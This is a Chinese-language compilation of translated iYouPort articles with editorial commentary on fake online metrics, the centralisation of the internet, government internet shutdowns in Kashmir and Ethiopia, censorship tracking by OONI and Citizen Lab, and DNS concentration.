10月份，一家小型广告商向这家社交媒体巨头提起了诉讼，指责它在一年内夸大了用户在平台上观看视频的时间（夸大了多少？Facebook 表示，60% ~ 80%; 原告说，150% ~ 900%）。根据 MarketingLand 的详尽清单，在过去的两年里，Facebook 承认误报了数据（以两种不同的方式），观众浏览广告视频的速度、阅读“即时文章”的平均时间、以及从 Facebook 到外部网站的引流、通过 Facebook 移动网站收到的视频数量，以及 Instant Articles 中的视频数量等，全是掺水的。

我们还能相信这些数据吗？倒置之后，重点是什么？即使我们相信它们的准确性，也有一些不太真实的东西：今年最有趣的统计数据是 Facebook 声称每天有 7500 万人观看至少一分钟的Facebook 视频—— 不过，正如 Facebook 承认的那样，这一分钟内的60秒并不需要连续观看 ……好吧，真实的视频，真实的人，假的分钟。

人是假的

我们不应该认为人是真实的。在 YouTube 上，购买和销售视频观看的业务正在“蓬勃发展”，“纽约时报”在8月进行了调查。该公司表示，其流量中只有“一小部分”是虚假的 …… 如今，“纽约时报”终于醒悟了，发现你可以购买 5,000 个 YouTube 视频评论价格低至15美元；通常情况下，客户会相信他们购买的观点来自真实的人类。

更有可能的是，这些评论都是来自机器人。在某些平台上，视频观看和应用下载可以在利润丰厚的工业假冒操作中形成。如果您想要了解

Inversion 的“景观”，可参见下面的视频：数百个单独的智能手机，在专业办公室的架子上排成一排，每个都处在相同的视频或应用程序页面上。

这显然不是真正的人类流量。但真实的流量会是什么样子？倒置引起了一些奇怪的哲学困境：如果一个俄罗斯 troll 使用巴西男子的照片伪装成美国特朗普的支持者在 Facebook 上观看视频，那么这种流量还是“真实的”吗？

我们不仅用机器人伪装成人类，而且，有时人类还伪装成机器人，假装是“人工智能个人助理”，如 Facebook 的“M”，以帮助科技公司假装似乎拥有尖端的 AI。我们甚至还有著名的网红就如 Lil Miquela 那种：一个真实的身体、假的脸、以及真正的影响力的假人；即使是没有伪装的人也被通过逐渐减少的现实扭曲了： The Atlantic 报道非 CGI 人类影响者正在发布假的赞助内容—也就是说，内容看起来像是真实免费的—以吸引品牌代表的注意力，让他们掏真钱。

企业都是假的

钱通常是真实的。但是，如果钱是真的，那为什么还需要其他的假东西呢？今年早些时候，作家兼艺术家 Jenny Odell 开始调查一家亚马逊的经销商，该经销商从其他亚马逊经销商处购买商品，并再次在亚马逊上以更高的价格转售……由此， Odell 发现了一个精心制作的假冒价格欺诈和盗版行为的企业网络，这些企业类似邪教一般，其追随者在 2013 年被新闻周刊揭露，作为僵尸搜索引擎优化的垃圾邮件农场。

Odell 参观了旧金山经销商经营的一家奇怪的店铺，发现了她在亚马逊上遇到的令人眼花缭乱的假冒玩意的混乱再现，随意排列的畅销书籍、塑料小摆件，以及显然是从批发商处购买的美容产品地摊货。“在某些时候，我开始觉得自己在梦中，”她写道，“或者说我是半醒的，无法区分虚拟与真实，本地与全球，Photoshop 的结果，真正的虚伪。”

内容是假的

在2018年1月，一个匿名的 Redditor 创建了一个相对容易使用的桌面应用程序实现“deepfakes”，这是一种现在臭名昭著的技术，它使用人工智能图像处理来替换视频中的一个面部—— 例如，一个政治家和一个色情明星上床。

Nvidia 的研究人员最近发表的一篇学术论文展示了一种类似的技术，用于创建计算机生成的“人”面部图像，这些图像看起来非常像真实人物的照片，其实是假的。（下一次俄罗斯人完全可以在 Facebook 上凭空发明一群美国人，他们甚至不需要窃取真实人物的照片。）

我们在这篇报告中详细分析了这类造假技术：《当恶意者掌握技术，信息战的未来有多可怕》

⚠ 请注意，与你所期望的可能相反，一个充满了深度造假和其他人工生成的图像的世界里，人们很可能不会把假的看成是真的，正相反，真的通常被认为是假的—— 仅仅因为，一切被颠倒了，谁能分辨出来？—— 并且，造假都是有特定目的的，迎合目标受众心理欲求的，于是非常容易欺骗他们想要欺骗的人。

我们的政治是假的

如此失去任何锚定的“现实”只会让我们更加松懈。我们的政治与其他一切一样都被颠倒过来了，充满了诺斯替教的感觉，我们被欺骗了，但一个“真实的真相”仍然潜伏在某个地方。

如今的政治争论涉及交易“美德信号”的指控—自由主义者为了社会报酬而伪装他们的政治—反对俄罗斯机器人的指控。任何人都可以同意的唯一的事就是：网上的每个人都在说谎和假装。

连我们自己都是假的

那个，好吧。我今年上网的每个地方都被要求证明我“是一个人类”。你能重新输入这个被扭曲了的单词吗？你能写出这个门牌号吗？你能挑出包含摩托车的图片吗？……我发现自己每天都在机器人保镖的脚下匍匐前进，疯狂地炫耀我高度发达的模式匹配技能—Vespa 算是摩托车吗？……我被多巴胺反馈循环操纵着，被情绪激动的头条新闻和帖子操纵着，不停地点击着我自己完全不关心的事，

我不确定解决方案是什么，如何让自己重新回到“现实”中。毕竟，从互联网上消失的不是“真相”，是信任、是感觉、是我们遇到的人和事究竟特么的代表了什么。

多年来以 metrics 为导向的增长、有利可图的操纵系统、和不受监管的平台市场，就创造了这么一个环境，让人变得虚伪和愤世嫉俗、撒谎和欺骗、歪曲和被歪曲。

要修复这种局面需要在硅谷和世界各地进行文化和政治改革，这是我

们唯一的选择。否则，我们最终都会在虚假人、虚假点击、虚假网站和假电脑的僵尸网络上结束一生，其中唯一真实的是：广告。

How Much of the Internet Is Fake? Turns Out, a Lot of It, Actually.Fixing that would require cultural and political reform in Silicon Valley and around the world, but it’s our only choice. Otherwise we’ll all end up on the bot internet of fake people, fake clicks, fake sites, and fake computers, where the only real thing is the ads.

原文

互联网失败了吗？我们还能找回最初的公平和自由吗？ - iYouPort

集中化毁掉互联网自由

“我们拒绝：国王、总统和投票。我们相信：粗略的共识和运行代码。”

「图」

「图」

编者按：作为 Jefferson 派死党、互联网最初所承诺的平等和自由的忠实捍卫者，iYouPort 鄙视一切审查、坚决抵制中央集权和其滋生的完全无可避免的权力滥用。但我们翻译了经济学人这篇文章，因为要想赢得这场论战，人们必需了解全局，才能知道，去中心化—分散化—的系统所带来的利好一定会大于其弊端。

暴民论从来都是统治阶级为了压迫社会而制造出来的虚伪概念，事实上除了极少数精神病态者，世界上几乎没有人不希望获得美好的生活，没人会不懂得一个环境的美好是个人生活安逸的前提条件。任何理解道德之养成的人都懂得，好和坏、善和恶，是我们自幼通过经历习得的认知，经历告诉我们，当坏和恶出现时它将带来灾难，所有人最终都不会好过。暴民就来自于暴政，当坏和恶的环境让人们不得不屈从甚至模仿从恶者时，应当被惩治的是那个暴虐环境的制造者，而不是大众。

经济学人的文章对中国和美国在互联网层面上瓜分全球的暗示，虽然不够充分，但这点一直是 iYouPort 着重强调的警惕。也是我们认为的，中国不会离开互联网的主要原因之一，这些原因包括：经济利益，中国政府合法性的部分重要来源；民族主义，北京政权的权力根基；数字极权，高侵入性控制社会的绝佳途径；数字霸权，反转 GFW，渗透世界。

是的，中国致力于毁掉互联网最初承诺的美好，从而更为深刻地利用它，以加固自身的权力。对中国政权来说，互联网有可能带来的颜色

革命之威胁，远低于上述之利。当美国陷在 Jefferson v Hamilton 的争议中时，中国正在将 Hamilton 主义变成 Hamilton 巨魔。然而指望在这点上由美国来遏制中国的想法，是绝对荒谬的。因为，

互联网既不是中国的，也不是美国的，而是全球人类的，它必然是民主的，没有任何一个国家和政府或党派能全权统治它。然而当下，高堡奇人的故事已经在互联网世界中实现，却依旧有太多人迷信“对面的国家会更美好”。最终他们很快就能发现，两个霸权都是同样的性质，地缘政治游戏也许可以偶尔作为策略的存在，但依赖其中任何一个，你都不会有自由。

是时候了，把互联网拿回来，它本应属于我们。这是互联网 2.0 时代每个人都应当为之奋斗的目标。

"How to fix what has gone wrong with the internet"

The internet was meant to make the world a less centralised place, but the opposite has happened. Ludwig Siegele explains why it matters, and what can be done about it

> 互联网原本的目的是让世界变得不那么集中化—给人们公平和自由，但事实却恰恰相反。我们还能找回互联网本该有的样子吗？应该怎么做？

互联网失败了吗？坐在他的位于牛津基督教会学院的办公室里，万维网的发明者 Tim Berners-Lee 先生已准备好了他的答案。“我不会说互联网已经失败了，但它未能提供我们许多人所希望的那种积极的、建设性的社会。”

二十年前，他会嘲笑那些“互联网和网络应该做任何事情以让这个星球变得更美好”的想法。在20世纪90年代后期的“Weaving the Web”自传中他总结道：“通过成千上万的基层努力看到网络起飞的经历给了我巨大的希望……我们可以共同创造我们想要的世界”。

直到几年前，询问大多数用户对互联网的看法时你都会发现，他们喜欢的东西不外乎这几种—互联网能让自己与朋友们保持联系，提供即时访问大量信息的渠道，激发创新，甚至有助于摧毁专制政权。不消说在某些方面，互联网已经取得了巨大的成功。自从第一个网络浏览器发布后不到四分之一个世纪，世界上已经有大约一半的人口在线。就像 Tim 那样，最近很多人对互联网表示了批评，认为会造成网络成瘾、大量吸取每个人的数据、并给了网络水军和骇客以极大的权力。

这篇特别的报告认为，所有令人失望的问题之核心是，互联网已经变得更加“集中化”，比十年前更加“集中”。

无论是在西方还是在中国，这个全球网络所带来的活动基本都是由 **Facebook** 和腾讯等少数巨头主导的。历史学家 Niall Ferguson 在他的最新著作“广场与大厦”中解释说，这种模式—一个破坏性的新网络被新的层次结构所渗透—具有许多历史先例。包括印刷机的发明和工业革命。

与此同时，互联网受到更严格的控制。当访问互联网仍然主要通过台式机或笔记本电脑时，用户可能会偶然发现惊人的新服务并欣然去尝试。如今上网的主要方式是通过智能手机和平板电脑，将用户限制在精心构建的空间或“围墙花园”中，这几乎不比电视频道更令人兴奋。

移动操作系统的制造商可以通过他们的应用商店决定智能手机用户可以访问哪些服务；另一个控制点是云计算，它本质上让外部人员负责应用程序及其相关数据。与此同时，长期不参与互联网的政府已经建立了对网络大部分地区的控制权，通常使用大型互联网公司作为自愿的执法者，例如让他们阻止不受政府欢迎的内容。

这些现状与早期互联网构建者的意图是相反的。哈佛大学的 Yochai Benkler 表示，近半个世纪前，即1969年10月29日，当第一条信息通过互联网发送时，该系统“偏向于权力下放和行动自由”。它的技术根源在很大程度上起了作用。作为冷战的产物，互联网意味着连接不同的网络和计算机，这样即使中央连接不可用，人们仍然可以进行通信，例如在发生核攻击时。

“我们希望连接到网络的任何东西都能够连接到网络上的任何其他东西，”Vint Cerf 解释说，他是开发通信协议的工程师之一（他现在在谷歌工作，讽刺吧）。为了实现这一目标，Cerf 和他的同事们必须在今天的行话中使互联网“无需经过许可”- 没有审查。只要遵循协议，任何网络和任何计算机都可以加入。

无论内容如何，数据包都从一个网络传递到另一个网络。这种松散耦合的体系结构后来启发了 Tim，他设计了适用于互联网的万维网协议。

这些协议得到了一系列组织的补充，这些组织允许规则发展，以及令规则生效的软件，并使两者不被外部利益所捕获。其中最主要的是互联网工程任务组，其理念完全就如其创始人之一 David Clark 所总结的那样：“我们拒绝：国王、总统和投票。我们相信：粗略的共识和

运行代码。”

「图」

「图」

开放式技术规则和灵活治理的结合引发了创造力和创新的狂热兴起。从20世纪90年代中期开始，已经建立了数百万个网站，并启动了数万家创业公司。即使在21世纪初互联网泡沫破灭之后，这种分散的活动仍然有增无减，例如以博客的形式。用户实际上做到了 Tim 所希望的那样：在线发布并相互链接，创建了一个很棒的虚拟对话。

今天的互联网已经是一个非常不同的野兽。传输信息的连接仍然存在，协议仍然存在，但互联网产生的扩展已经大大超过原始网络：数十亿智能手机和其他设备，以及足球场大小的云计算工厂，包含难以想象的数据量。描述所有这些的最佳方式是作为大量数据仓的集合，它们之间有着大型管道，连接到各种设备，这些设备既提供服务又同时收集更多数据。

互联网的集中化和数据日益增长的重要性使得马里兰大学的 Frank Pasquale 在最近发表在《美国事务》的一篇论文中说，大科技评论家称之为“杰斐逊/汉密尔顿之辩”。其中一个群体是 Thomas Jefferson 的传统，他是美国的创始人之一，他赞成政府规模较小，商业集中度较低。

其成员希望通过更严厉的反托拉斯政策（包括打破）来控制技术巨头。

另一组遵循另一位创始人 Alexander Hamilton 的想法，他支持政治和经济方面的强大中央机构。它的拥护者认为，为了获得人工智能（AI）的好处并公平地分配它们，在线巨头应被视为公用事业。

Jefferson v Hamilton

这种框架也有助于更普遍地理解对集中化的反应。Jefferson 方面担心集中化互联网提供的创新空间会很小。尽管在线巨头本身是许多发明的来源，但它们在其他方面对其进行了挫败，因此可尝试的新想法会很少。风险资本家现在谈论“杀戮地带”，就是他们不会投资的领域，因为其中一个大公司很有可能会挤压创业公司的生命或以低价收购它们。

互联网日益集中化的政治后果更加麻烦。

围墙花园经常限制言论自由，就如 Facebook 那样对其社交网络进行的监管。不得不破解只有少数平台的算法，这使得俄罗斯网络水军和"他们的西方同行们"更容易通过传播错误信息来干预选举。

在一个地方集中大量的个人数据会更容易发生严重的泄漏。一个例子是最近剑桥分析公司（Cambridge Analytica）的丑闻，这是一家政治咨询公司，以不正当的方式获取了 8700 名 Facebook 用户的数据（因此停业）。

集中化的平台对于大规模监视来说也很方便，正如前中央情报局员工 Edward Snowden 在 2013 年所披露的那样。情报部门只需要控制几个计算云就能找到他们想要的任何东西。

在线巨头有足够的现金来影响线下政治。

不过在 Jefferson 主义者中，一种新开始的感觉也正在萌生。今天的技术会议上的嘈杂声让人想起1995年，在万维网诞生不久之后，一个名为浏览器的新软件成为网络主流，互联网也随之而来。在今天的活动中，初创公司们正在推行雄心勃勃的计划，这些计划通常基于区块链技术，承诺“重新分散”在线世界。

「图」

「图」

而另一方面，Hamilton 主义者则认为，如果没有像谷歌和 Facebook 这样的公司提供的免费服务和易于使用的界面，那么使用互联网的人就会少得多。如果没有云计算，它可以让公司处理大量数据，那么人工智能将无处可去。控制一些强大的公司也有助于遏制权力下放的“恶魔”，例如所谓的网络犯罪和仇恨言论。

长期以来，用网络巨头来反对监管的这种思想在西方左翼获得了一些牵引力。但它在中国大多数时候都是蓬勃发展的，政府希望科技巨头帮助它实现将国家变成网络超级大国的白日梦。

在以上双方之间衔接的是越来越多的学者，他们正试图通过监管来设法控制大科技。他们的一些建议更多是 Jefferson 主义者的思想，比如迫使企业放松近期的合并。而其他人更像 Hamilton 主义者，主张包括让公司分享他们的一些数据。

本专题报告将首先记录互联网如何被集中化的，然后轮流讨论所有的三个方面。它将得出结论，要重新分散互联网，需要来自所有三个阵

营的想法。没有中央级解决方案。

——未完待续——

原文

互联网巴尔干化已经是一个非常严重的全球政治问题 - iyouport

为什么集中化毁掉互联网自由

【2020年6月30日存档】互联网变成分裂网的结果是什么？

2014年7月，我在该网站上写了一篇博客文章，报道了互联网社区内部有关以中国 “防火长城” 为代表的 “分裂网” 兴起的争议和辩论。

Bill Gates 和 Vin Cerf 当年认为，互联网过于广泛和普遍，以至于政府对互联网的限制无法成功。另一方面，思科的 Eric Schmidt 和 John Chamber 指责 NSA 的元数据监听是 “分裂网” 发展的重要因素，这将严重损害西方技术的领先地位。

现实情况是，互联网分裂已经演变了许多年 —— 因为许多政府试图阻止互联网破坏其权力和权威，其中一些早于美国国家安全局、英国间谍机构GCHQ、和中国军方搞乱互联网的行动被揭露的时间。

- 《互联网主权的全球崛起：这意味着什么？》

今天看来，Schmidt 和 Chamber 显然是正确的。Tim Berners-Lee 也加入了这一行列，他发起了一项全球行动计划，以保护互联网免遭政治操纵。

但是，我对减少这一问题的任何全球多边协议均表示怀疑。借助暗网、虚假消息、政治压制、阴谋论以及其他所有内容，分裂网已经成为魔鬼之子。

我看到的唯一昏暗的光线可能是使用了VPN之类的变通办法，或者可能是昂贵到不切实际的低轨卫星互联网，这会使政府的政治操纵稍微有点难度。仅此而已。

去年初，随着津巴布韦在反政府抗议活动之后切断了全国的互联网访问，权利组织 Keep It On 警告说，“绝不能让断网成为新常态。”

但是，十二个月后，它真的成新常态了……

克什米尔新闻记者抗议印度政府于2019年10月12日在斯利那加实施的互联网封锁。

追踪互联网自由的倡导组织 Access Now 说，印度控制的克什米尔地区正在进行的互联网中断目前是民主国家中持续时间最长的 —— 超过135天。

只有中国和缅甸军政府时期的独裁政府才可能超过这一期限。

在新德里取消了该地区的法律自治权后，印度军队涌入克什米尔，导致断网。一些克什米尔人不知道互联网被切断的原因。从那时起，由于没有互联网访问，人们在很大程度上被噤声了，该地区的人很难在彼此间传达信息。

克什米尔长达4个月的互联网中断非常严重，以至于 WhatsApp 已经开始删除那里的居民的帐户，原因是他们不活跃。

联合国见解和言论自由问题特别报告员 David Kaye 将这起断网描述为 “通讯围困” 和 “集体惩罚”，甚至没有指控根本性的罪行。

很快，断网又蔓延到了印度其他地方，包括首都新德里部分地区在内的多个地区的当局在有争议的公民权法案引起广泛抗议的情况下削减了电话和互联网服务。

最近的断网影响了数千万的人。此举引起广泛的愤慨，并遭到了政界人士甚至一些法官的压制。

印度对中国日益严格的互联网审查制度表示欢迎，而中国官方媒体指称，这是对北京自身威权主义做法的认可。

⚠人民日报称，印度的例子表明 “在紧急状态下关闭互联网应该是主权国家的标准做法。”

这一切是从哪里开始的？

「图」

在2009年发生在中国西部省份新疆的动乱之后，中国当局切断了整个地区的互联网和电话访问权限。

虽然以前在全球各地都发生过断网情况，但那通常都是偶然的，是由于海底电缆损坏所致。而新疆的断网似乎是一种反常现象，这种战术当时被认为只有中国那样的专制政权才能使用或可以使用。

此后的十年中，互联网在整个发展中国家范围内掀起了一场通信革命，许多国家都在跨越旧技术，更多地采用智能手机、社交媒体和移动支付，推动经济增长并与社区建立联系。

⚠ 但是，随着越来越多的国家看到互联网被用来组织政治变革，断网已经变得越来越普遍，这是控制动荡和扼杀异议的首选工具。

断网策略已经不仅限于独裁国家了：迄今为止，最严重的罪犯是世界最大的民主国家印度。

- 《谁正在成为独裁者？这十点迹象帮你判断》

非洲国家也接受了这一策略，津巴布韦、刚果民主共和国、乍得和埃塞俄比亚都切断了互联网访问，以遏制反政府的抗议活动。

这符合增加在线审查的一般模式。部分原因是由于更先进的技术的普及，使得在线监控和过滤流量更加容易，也更便宜。

它也受到对互联网审查制度的看法转变的影响，该制度曾一度被视为失败的战斗。但是，中国的GFW无疑已得到证明 —— 不仅可以控制互联网，而且这样做可以帮助支撑政权并防止反对派运动发动进攻。

- 《中国的互联网维稳产业：谁将成为唯一的失败者？》

尽管可以说GFW开始了互联网关闭的趋势，但北京在这方面并不经常犯规。

中国的审查制度通常足够复杂，以至于当局无需使用诸如关闭所有访问权限之类的钝器 —— 它们通过内容过滤首先就可以达到相同的目的，因为人们只能知道当权者想让他们知道的东西。

对于其他国家，尤其是在发展中国家，仅关闭互联网可能是达到这种控制水平的诱人捷径。

⚠断网使警察可以更自由地控制抗议活动，而无需在高度联系的社会中针对社交媒体进行严格审查，并使政府能够确保官方宣传性信息是在特定主题上唯一能被大众听到的信息。

根据 Access Now 组织的记录，2018年全球有196次互联网关闭 —— 主要在亚洲、非洲和中东。仅2019年上半年就有128次断网，而2019年似乎是有记录以来最糟糕的一年。

- 《如何用指标预测互联网中断？一旦断网还可以怎么办？》

主要影响

「图」

失去互联网访问不仅是烦人的事，而且还会在动荡时期使人们失去重要信息来源，从而使他们处于危险之中。它还限制了媒体令政府负责的能力。

全球大部分经济都依赖于通信技术 —— 从高速股票交易到物流和交付服务的所有内容 —— 互联网的关闭也会对经济产生重大影响。

印度国际经济关系研究委员会估计，在2012年至2017年之间，断网已经给该国经济造成超过30亿美元的损失，而此后几年又出现了更多断网。

断网会影响公民在动乱或紧急情况下获取准确信息的能力。公民也会更加难以与该国其他地区或其他国家的家人和朋友联系。并且阻碍了急救人员和医疗服务提供者的工作。

互联网关闭的方法，尤其是完全关闭的方法，其实非常简单。政府只需要命令互联网服务提供商（ISP）断开与外界的连接 —— 就如关闭家用调制解调器，但要覆盖整个国家。

完全关闭后，通常无法解决。如果没有互联网连接，VPN等反审查工具将无法使用。

提供互联网访问的替代方法很大程度上还处于婴儿期。卫星提供的互联网服务价格昂贵，并且还要取决于私营公司是否愿意反抗政府。

网状网络的采用需要一定水平的人口密度，而这在许多地区不一定能达到这个水平，例如克什米尔。

该怎么办？

「图」

在许多情况下，尤其是全面关闭互联网，可能会违反1948年《世界人权宣言》和其他国际条约所保障的权利。联合国还确认了会员国有责任保护人们访问互联网的权利和在线言论自由权。

Access Now 的总顾问 Peter Micek 说："联合国应跟踪并呼吁谴责每一次关闭互联网的行为。"

他补充说，断网不仅可能侵犯联合国声称保护的权利，而且还会阻碍国际援助工作、安全与发展。"我们现在不再将目光局限于国际电联这样的技术机构、资助机构，东盟和非洲联盟这样的区域机构，而是联合国秘书长本人，以明确指出断网是不可接受的措施，是对国际法的侮辱。"

但是，拥有权利和行使权利却有很大的不同。在印度，一些个人因断网向法院提起了诉讼，并且正在不断努力修改该国有关互联网关闭的法律，以使其更难以实施。

根据 Access Now 的报道，人们日益意识到由互联网关闭造成的损害，这导致法院面临的诉讼更加频繁。"即使法院没有直接判决原告胜诉，甚至没有审理此案，采取法律行动也可能对那些因互联网关闭而受苦的人们的人权产生积极的影响。"

这些案例中有许多是由个人提起的，而不是由互联网公司提起的，即使它们通常受断网的影响最大。

Access Now 说，行业可能在这场斗争中发挥更大的作用，在财务和声誉方面都起着重要作用。

但是在许多国家/地区，法院的权力不足，不太可能对断网提出质疑。许多国家的政府也正在效仿中国，率先将互联网审查过滤和控制确立为法律。

工业界已经表明自己不愿意挑战北京等政府，包括苹果在内的公司，法庭上几乎没有成功的机会。

Micek 说："工商界可以在现有协会中团结起来 …… 并要求政府遏制其破坏性趋势。披露断网的财务成本是企业可以清楚地说明对决策者的不利经济影响的明确方法。"

他补充说，公司还可以拒绝进行网络中断，而以法律、游说和政策工具挑战政府。

2019年是互联网关闭成为主流问题的一年，无论从经济上还是政治上对他们的诉讼都是不可否认的。

然而，这些事实证明，2020 年互联网自由倡导者和反审查组织将面临更加艰巨的任务，即 如何进行反击。〇

Internet Balkanization Is Now A Very Serious Global Political Issue

原文

他们一直在跟踪全球的秘密在线审查 - iYouPort

集中化毁掉互联网自由

当权者都阻止了什么？为什么阻止？他们希望找到原因

「图」

「图」

我们去年在科幻故事《绿色兔子》的介绍后又介绍了 “umwelt” 的概念。

我们每个人都有一个自己的 umwelt，它是一个气泡，我们把自己包裹在里面。每个人都认为自己看到的就是 “整个世界”。

这就是为什么秘密审查可能很可怕。能突破审查的人会逐渐发现，自己再也无法和那些在审查中的人沟通了，因为这已经是 “两个世界”。

在去年早些时候离开埃塞俄比亚的亚的斯亚贝巴博莱国际机场时，Moses Karanja 面临着一个尴尬的处境：他无法支付给司机的车费。

当他进城时，国家控制的电信关闭了互联网访问，使应用程序无法使用。 Karanja 和司机都不知道他的旅程应该花费多少。

Karanja 是多伦多大学博士学位的学生，他掏出一些现金，并与司机达成了协议。但是在6月份该国发生了一系列暗杀之后，断网事件促使 Karanja 仔细考虑了阻塞的时间和深度。

他发现，即使网络的其他部分在暗杀事件发生后的几天恢复了正常运行，但是某些服务（如 WhatsApp）仍然关闭。

Karanja 是对的。与名为 “开放式网络干扰观测站” 的项目合作，该项目众包来自世界各地的互联网连接数据，他发现，最初中断后，Facebook、Facebook Messenger 和 WhatsApp 的网页版继续被阻

止，这使得许多埃塞俄比亚人难以沟通。一直到8月，埃塞俄比亚人都无法使用这些服务。

Karanja 的研究重点是政治与互联网的交汇处，他说，OONI 数据提供了世界各地的网络封锁状况的证据 —— 这些封锁当局不太可能承认。

他说："您一定会在特定时间的特定地点获得清晰的互联网快照。"

OONI 是衡量全球在线审查制度的少数措施之一，这类审查措施并不总是像在埃塞俄比亚发生的同类事那样公然。

有时政府会针对特定的网站，或者要求禁用某些视频、或过滤新闻源中的图像。所有这些加起来就是秘密的审查制度。

OONI 和类似的项目记录了当权者控制公民可以说或看到哪些内容的所有尝试。

对审查制度的担忧是一种全球现象，即使在自由民主国家中也是如此。

作为世界上最大的民主国家，印度最近关闭了克什米尔的互联网，原因是民族主义政党领导人寻求对穆斯林多数地区实施更多的控制。

诸如社交媒体公司删除内容、或悄悄地限制内容的可见范围之类的微妙形式，都是标准的审查制度，已经引起了包括 YouTube 表演者、人权活动家、甚至 Trump 这类保守派人士的反击，他们说社交媒体公司以打击假新闻为借口采取不公平的压制。

「图」

「图」

A series of assassinations of government officials in Ethiopia back in June led to a days-long internet blackout.

Michael Tewelde/Getty Images

OONI的研究人员使用志愿者提交的一系列网络信号，这些信号对个人而言意义不大，但在组合起来时就能呈现出审查的干扰模式。

这些迹象看起来像是互联网上的随机现象：404错误消息和奇怪的弹

出窗口。但是，OONI的研究人员使用他们的数据来揭示审查制度背后的技术。

如此，就可以映射出那些隐秘的不可见的专制举动。

OONI 创始人 Arturo Filasto 说，审查制度意味着您在网上看到的内容会根据您在世界上的具体位置而有所不同。

他说："存在许多互联网的平行世界。"

挑战（尤其是在威权国家中）是衡量和跟踪被阻止或删除的内容以及原因。

记录模式

凭借其开源的 OONI Probe 软件，OONI 项目涵盖了200多个国家，包括埃及、委内瑞拉和乌克兰。

志愿者在其手机，平板电脑和 Mac 或 Linux 计算机上安装 OONI Probe 应用程序（目前所有计算机都可以使用beta版）。

该应用程序会定期对预设的网站列表执行ping操作，并记录响应后发回的内容，从而发现哪些网站被阻止、限制或重定向。

当互联网用户开始注意到奇怪的模式时，数据就派上用场了。 2016年，OONI 研究人员使用来自志愿者的数据以调查埃及正在进行的媒体审查。

他们发现，当用户尝试访问由非政府组织、新闻机构、甚至色情网站运营的站点时，经常将他们重定向到奇怪的弹出式窗口。

一些弹出窗口向用户显示广告，而其他弹出窗口则劫持了设备的处理能力以挖掘加密货币。

这种情况在2018年仍在发生，当时试图访问包括巴勒斯坦囚犯协会和联合国人权理事会在内的网站的用户都被重定向了。

测试过滤器

在线审查不仅限于被阻止的网站。社交媒体平台也会过滤新闻源甚至私人聊天中的内容。

非政府组织人权观察称，在中国，政府要求社交媒体公司需要对其平台上出现的内容负责，并已签署保证书要监视其平台上出现的所有政府不喜欢的内容。这导致了严格限制政治话题讨论的系统。

公司会从用户的聊天和新闻提要中过滤掉任何可能违反政府标准的图像。这些标准并不总是对用户透明的，而且会随着时间而变化。

中国的微博相当于Twitter，已经两次试图从其平台清除 LGBTQ 内容，并且在社区反抗后再次封锁相关内容。一些内容可能会在重大事件发生前被过滤掉，之后再允许。

公民实验室是多伦多大学 Munk 全球事务与公共政策学院的一个项目，其研究人员希望了解过滤过程如何在微信上工作（微信是一种拥有超过10亿用户的中文消息传递和社交媒体应用）。

因此，他们使用注册到加拿大电话号码的微信帐户，向注册到中国电话号码的帐户联系人发送消息。联系人报告了他们最终能看到和看不到的东西。

「图」

「图」

Images of Winnie the Pooh were purged from Chinese social media sites after Chinese leader Xi Jinping was likened to the cartoon bear.

From left: Disney, Xinhua News Agency

研究人员发现了微信如何自动执行图像过滤审查的细节，并发现该公司正在更新其流程以响应当前事件。

过滤不仅限于89的“坦克人”照片。还包括很多当前新闻事件的照片，例如华为首席财务官孟万洲被捕、中美贸易战、和2018年美国中期选举。

这与众所周知的清除示例相符，例如 当网友将卡通熊与中国领导人习近平相提并论后，审查便要求删除小熊维尼的图像。

中国的国家资本主义模式允许它以这种方式调整信息。负责公民实验室研究的博士后研究员 Jeff Knockel 表示，中国可以要求其境内的社交媒体公司对图像进行过滤。而其他国家/地区则必须屏蔽整个互联

网或特定网站，以阻止用户看到某些内容。

他说：“这使中国政府可以在这些平台上施加更精细的控制。”

追踪删除

图像过滤审查也发生在美国和其他民主国家。

以所谓的反仇恨言论的旗号，Facebook、YouTube 和 Twitter 正在开发AI算法，并雇用了大批的内容审查员，来审查其平台上显示的内容。

- 《封锁言论就能制止仇恨吗？不》

判断包含暴力内容的视频究竟是宣传恐怖主义还是保留为侵犯人权的证据，并不总是那么容易。结果就是，权利组织发布的暴政证据经常被删除。整个互联网变成了一片岁月静好。

人权组织见证人（Witness）对全球人权活动家进行培训，以直观地看到他们的视频是如何被下架的。这些激进人士上传的视频是记录警察残暴镇压抗议者和对平民发动军事袭击的唯一证据。但是被删除了。

叙利亚档案馆等项目在月度报告中也跟踪这些记录。该档案馆由 Hadi al Khatib 和 Jeff Deutch 在柏林创立，主要充当存储和审核视频的中央组织。

该小组将叙利亚战争中的暴力视频上传到 YouTube 上，有时会被谷歌的AI自动检测删除。然后，叙利亚档案馆对视频进行认证，并将其提供给人权组织。

「图」

「图」

Videos of terrorist or wartime violence are often taken off social media platforms, but they can serve as vital documentation of human rights violations. Pictured is the aftermath of a car bombing in Syria. Picture Alliance

2017年，叙利亚档案馆发现 YouTube 在发布有关 “消除暴力和恐怖主义宣传” 的新政策后，从 YouTube 上删除了约180个频道，其中包

含来自叙利亚的"数十万个视频"。

例如，一个视频片段显示了叙利亚四家野战医院遭到破坏的镜头，是记者拍摄的，也被删除了。Deutch 说，他的团队帮助促使 YouTube 恢复了大部分视频，但其他视频却从平台上永久丢失了。

Deutch 说，除了叙利亚档案馆之外，保持视频在社交媒体平台上的访问是有价值的。YouTube 或 Twitter 上的视频具有更大的影响力，可以使国际组织意识到暴行，联合国安理会在有关叙利亚化学武器的报告中就引用了 YouTube 的视频证据。

“平台本身成为了这些证据的档案，” Deutch 说。

测量现实

Karanja 获得了博士学位，他立即制定了出国计划，因为互联网中断使他无法与其他国家的同事保持同步。于是他飞到了邻国肯尼亚，并在那里工作。尽管如此，断网问题继续影响着他。

Karanja 试图使用 WhatsApp 从肯尼亚致电他的埃塞俄比亚联络人，但该服务无法使用。因此，他不得不使用传统的蜂窝服务，费用比 WhatsApp 的费率高100倍。

麻烦和费用问题困扰着 Karanja。但是他认为自己很幸运。互联网对于世界各地的日常生活和商业至关重要，非洲第二人口大国的许多人无法使用他们依赖的应用程序。

Karanja说：“这是我的故事：金钱损失和不便。但还有其他人忍受得更多。”〇

These watchdogs track secret online censorship across the globe

原文

八大 DNS 服务商控制了 59% 的流行域名解析，集中化令系统危机重重 - iYouPort

集中化毁掉互联网自由

根据一组哈佛研究人员的一项研究，八大 DNS 服务商控制了 59% 的流行域名的解析。

这种多样性的丧失让 Web 处于危险之中。研究人员警告，DNS 越来越多的集中在少数支配性的云服务公司手中。如果攻击者在这些 DNS 服务中发现弱点，那么系统将会变得脆弱。

